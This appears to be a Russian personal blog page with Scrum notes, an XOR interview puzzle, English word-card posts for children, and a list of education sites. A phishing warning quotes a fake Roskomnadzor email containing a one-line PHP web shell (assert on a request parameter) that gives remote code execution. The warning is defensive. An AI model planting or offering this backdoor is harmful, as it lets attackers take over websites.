Agile, Scram, CI — главное

Agile манифест появился в 2001.
Scram — не методология, а фреймворк.
Статистика о том, что scram используют 99% проектов — выдумка.
Scram не для проектов, а для продуктов.
Ролей клиента и бизнес-аналитика в scram нет. Есть три роли: команда разработки (отвечает за качество продукта), владелец продукта (отвечает за максимизацию ценности), scram мастер (отвечает за эффективные процессы). Вместе они — scram команда.

Бэклогом Продукта владеет только Владелец продукта и только он может вносить туда изменения.
Бэклогом Спринта только команда разработки.

Бэклог продукта состоит не из эпиков, а из всех хотелок и требований к продукту, которые имеют разные сущности и степень детализации.
User story — лишь один из способов формулировать задачи. Story должна отвечать не только на вопросы «что» и «для кого», но и «зачем».

Такой встречи, как плэннинг покер не существует, есть просто планирование спринта. Покер — просто инструмент для оценки.

В стори поинтах оцениваются не задачи, а истории. Но оценка в стори поинтах вообще не обязательна в Scram и каждая команда сама решает, стоит ли ее использовать.

Если используется плэннинг покер — не может быть ещё и временной оценки задач.

Конец спринта наступает не после ревью, а после ретроспективы.

Статус done — это не только когда протестировано. Команды сами вырабатывают для себя definition of done и у всех он разный.

Цель ревью — не ублажить заказчика и показать , какие мы крутые. Цель — дать попользоваться реальному клиенту функционалом и оперативно получить обратную связь, чтобы адаптировать бэклог продукта.

Кроме планирования, дейли, ревью и ретро в скраме никаких встреч нет. Ещё проводится уточнение элементов бэклога продукта, но это не обязательно встреча.

«Scram сделан для одного проекта. 1 проект — 1 команда» — заблуждение. Scram применяется для продуктов, продукты могут быть огромными. Для этого есть разные способы масштабирования scram, которые эффективно работают.

Эффективность команды в стори-поинтах не измеряется. Она измеряется в бизнес велью.

Scram мастер — не погонщик, не менеджер. Он помогает команде стать самоорганизованной, работает с командой через донесение ценностей scram, учит эффективно использовать Фреймворк, даёт обратную связь, коучит членов команды и владельца продукта, помогает владельцу продукта использовать техники управления бэклогом. Работает с организацией в целом. Scram мастер — выделенная роль , а не совмещённая.

Задача на собеседовании

Имеется массив натуральных чисел. Каждое из чисел присутствует в массиве ровно два раза, и только одно из чисел не имеет пары. Необходимо предложить алгоритм, который за минимальное число проходов по массиву определяет число, не имеющее пары.

Ответ:
Уникальный элемент будет совпадать с xor-суммой всех элементов массива, вычисляемой за линейное время.

Изучаем английский язык. Английские карточки для 2 класса. Часть 5.

Продолжаем вместе с детьми учить английский язык. Прошлый раз я выкладывал английские карточки со словами на тему «школа».
Сегодня я предлагаю вам английские карточки с предлогами. Объем предлогов несколько шире чем требуется для второго класса, но с их знанием намного легче строить предложения.

Скачать английские карточки «предлоги».

Кстати, как вы считаете обязательны ли картинки, и где они должны быть — на русской или английской стороне карточки? Напишите в комментариях.

Если вам понравился материал, и вы его использовали – просьба написать об этом в комментариях. Если не понравился тоже пишите.

Изучаем английский язык. Английские карточки для 2 класса. Часть 4.

Продолжаем вместе с детьми учить английский язык.
Напомню, что материал предоставленный ниже соответствует программе 2 класса общеобразовательной школы, все слова на карточках взяты из школьного учебника английского языка для второго класса. Основной целью на данном начальном этапе изучения английского языка я считаю пополнение словарного запаса, а именно эта часть у моего сына в школе напрочь отсутствовала. В результате я решил помочь ему, и заодно и остальным желающим. Ну а если вашему ребенку еще нет 6-7 лет, мне кажется, не стоит его мучить английским языком.
Прошлый раз я поделился с вами английскими карточками со словами обозначающими характеристики предметов и людей: веселый, грустный, толстый, тонкий и т.п. Если вы первый раз наткнулись на этот материал и вам нужна первая часть — воспользуйтесь поиском на сайте.
Сегодня карточки со словами на тему «школа». Карточки представляют собой файл формата «ms-word». Распечатайте их с двух сторон и разрежьте. При желании можно что-то добавить или удалить.
английские карточки

Скачать английские карточки «школа» .

Кстати, как вы считаете картинки должны быть на русской или английской стороне карточки? Нужна ли транскрипция русскими звуками или она только портит произношение и путает обучаемого? Напишите в комментариях.

Если вам понравился материал, и вы его использовали – просьба написать об этом в комментариях. Если не понравился или есть пожелания — тоже пишите, полезные замечания и советы будут обязательно учтены.

Изучаем английский язык. Английские карточки для 2 класса. Часть 3.

Продолжаю делиться с вами материалом для обучения детей английскому языку. Прошлый раз были английские карточки с названиями цветов (красный, синий и прочие). Матерал расчитан на первый год обучения.
Сегодня давайте учить вместе с детьми английские слова обозначающие характеристики предметов и людей: веселый, грустный, толстый, тонкий и т.п.
английские карточки
Скачать английские карточки «прилагательные для описания предметов и людей» .

Если вам понравился материал, и вы его использовали – просьба написать об этом в комментариях. Если не понравился тоже пишите.

Карточки для английского языка 2 класс. Часть 1.

Все что связано с компьютерами сегодня неразрывно связано с английским языком . Поэтому очень важно учить детей английскому языку.
Для облегчения заучивания слов предлагаю вам карточки для английского языка со словами уровня 2 класса. Карточки английских слов сгруппированы по условным темам и сегодня я предлагаю вам скачать карточки с местоимениями и вопросительными словами.

Если вам понравился материал, и вы его использовали – просьба написать об этом в комментариях. Если не понравился тоже пишите.

Продолжение следует…

Внимание фишинг!

Участились случаи взлома сайтов.

На контактный email домена приходят сообщения под видом письма от Роскомнадзора с просьбой разместить у себя файл reestr/reestr-id128032.php, содержащий в себе вредоносный код.

После размещения данного файла злоумышленники могут получить доступ к данным Вашего сайта.

Содержание мошеннического письма (вместо многоточия в тексте письма имя Вашего домена):

» Вы получили данное уведомление от Федеральной службы по надзору в сфере связи,
информационных технологий и массовых коммуникаций (Роскомнадзор) так как являетесь администратором
доменного имени … в сети «Интернет».
В соответствии с Федеральным законом от 5 мая 2014 года № 97-ФЗ «О внесении изменений в Федеральный закон «Об информации, информационных технологиях и о защите информации» и на основании решения суда (Новокуйбышевский городской суд Самарской области) от 11.08.2015 No 2­1618/2015, Ваш сайт … был внесен в реестр организаторов распространения информации в сети «Интернет» и сайтов и (или) страниц сайтов в сети «Интернет», на которых размещается общедоступная информация и доступ к которым в течении суток составляет более трех тысяч пользователей сети «Интернет».

Для идентификации Вас, как администратора доменного имени … , Вам необходимо:
1. Cоздать в корневой директории Вашего сайта папку reestr
2. Cоздать в данной папке файл reestr-id128032.php, содержащий следующий текст:
< ?php assert(stripslashes($_REQUEST[roskomnadzor])); ?>
*В < ?php необходимо убрать пробел между < и ?php Путь до файла на Вашем сайте должен получиться следующий: …/reestr/reestr-id128032.php Если в течении 72 часов с момента получения данного письма Вы не идентифицируете себя, как администратор доменного имени ..., следую инструкции указанной выше, то Ваш сайт … будет внесен в чёрные списки интернет-провайдеров и заблокирован на территории Российской Федерации " Необходимо игнорировать подобное письмо, а если Вы уже разместили данный файл, то незамедлительно удалите его.

Образовательные ресурсы на русском языке.

Интуит
intuit.ru

АРЗАМАС
arzamas.academy

УНИВЕРСАРИУМ
universarium.org

Лекториум
lektorium.tv

КИБЕРЛЕНИНКА
cyberleninka.ru

ШКОЛА ЯНДЕКСА
yandexdataschool.ru

НЕТОЛОГИЯ
netology.ru

ZILLION
zillion.net

Школьная программа
https://www.youtube.com/user/EduLibNet

Stepic
stepic.org